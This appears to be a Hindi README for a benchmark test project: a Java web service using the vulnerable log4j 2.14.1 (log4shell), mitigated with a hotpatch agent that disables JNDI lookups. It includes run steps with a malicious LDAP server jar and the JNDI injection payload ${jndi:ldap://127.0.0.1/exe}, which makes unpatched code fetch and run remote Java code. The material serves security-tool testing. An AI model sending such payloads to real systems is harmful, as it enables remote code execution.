
जीईई वेब प्रोजेक्ट जिसमें संशोधित log4shell (CVE-2021-44228) कमजोरी है
यह एक सरल वेब प्रोजेक्ट है जिसमें एक स्वच्छित log4shell कमजोरी है। अशुद्धिकृत संस्करण के लिए, देखें https://github.com/scabench/l4j-tp1/।
प्रोजेक्ट एक सरल scabench.HelloWorldService गेट सेवा को परिभाषित करता है जो एक सादा टेक्स्ट स्ट्रिंग hello world लौटाता है।
सेवा पैरामीटर की अपेक्षा नहीं करती है, और यदि पैरामीटर मिलते हैं, तो एक त्रुटि लॉग की जाती है।
कमजोर निर्भरता है org.apache.logging.log4j:log4j-core:2.14.1, कमजोरी है CVE-2021-44228।
प्रोजेक्ट एक Amazon द्वारा बनाए गए एजेंट का उपयोग करता है जब log4shell उभरा और कोई पैच उपलब्ध नहीं था।
एजेंट कमजोर वर्ग org.apache.logging.log4j.core.lookup.JndiLookup को अक्षम कर देगा।
एजेंट का उपयोग एजेंट को गतिशील रूप से स्थापित (अर्थात संलग्न) करके लागू किया जाता है जब scabench.HelloWorldService लोड होता है (क्लास के स्टैटिक ब्लॉक में), यदि यह विफल होता है, तो एप्लिकेशन क्रैश हो जाता है। इसके लिए आवश्यक है कि JVM एजेंट स्व-संलग्नता को सक्षम करे।
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (कमजोर कोड इस सर्वर से जावा कोड डाउनलोड करेगा)http://localhost:8080/ पर इंगित करें, इस साइट में एक पूर्व-भरा हुआ फॉर्म है जिसमें एक दुर्भावनापूर्ण पेलोड ${jndi:ldap://127.0.0.1/exe} है।foo फ़ाइल नहीं बनाएगा (जैसा कि अशुद्धिकृत संस्करण करता है)ध्यान दें कि एप्लिकेशन चलाते समय, कंसोल पर निम्न पंक्ति दिखाई देती है:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
इसके लिए unix या macos की आवश्यकता है। इस प्रोजेक्ट को windows पर पोर्ट करना आसान है। कमजोरी प्रदर्शित करने के लिए एक यूनिट परीक्षण प्रदान किया गया है, सेटअप वही है जो https://github.com/scabench/l4j-tp1/ में उपयोग किया गया है। स्वच्छीकरण के कारण, परीक्षण अब विफल होता है।
विभिन्न विश्लेषण चलाने के लिए कई sh स्क्रिप्ट हैं, परिणाम रिपोर्ट scan-results में पाई जा सकती हैं।
pom.xml में CycloneDX प्रारूप में एक SBOM उत्पन्न करने के लिए एक प्लगइन है।
ऐसा करने के लिए, mvn cyclonedx:makePackageBom चलाएं, SBOM
target/ में json और xml प्रारूप में पाया जा सकता है।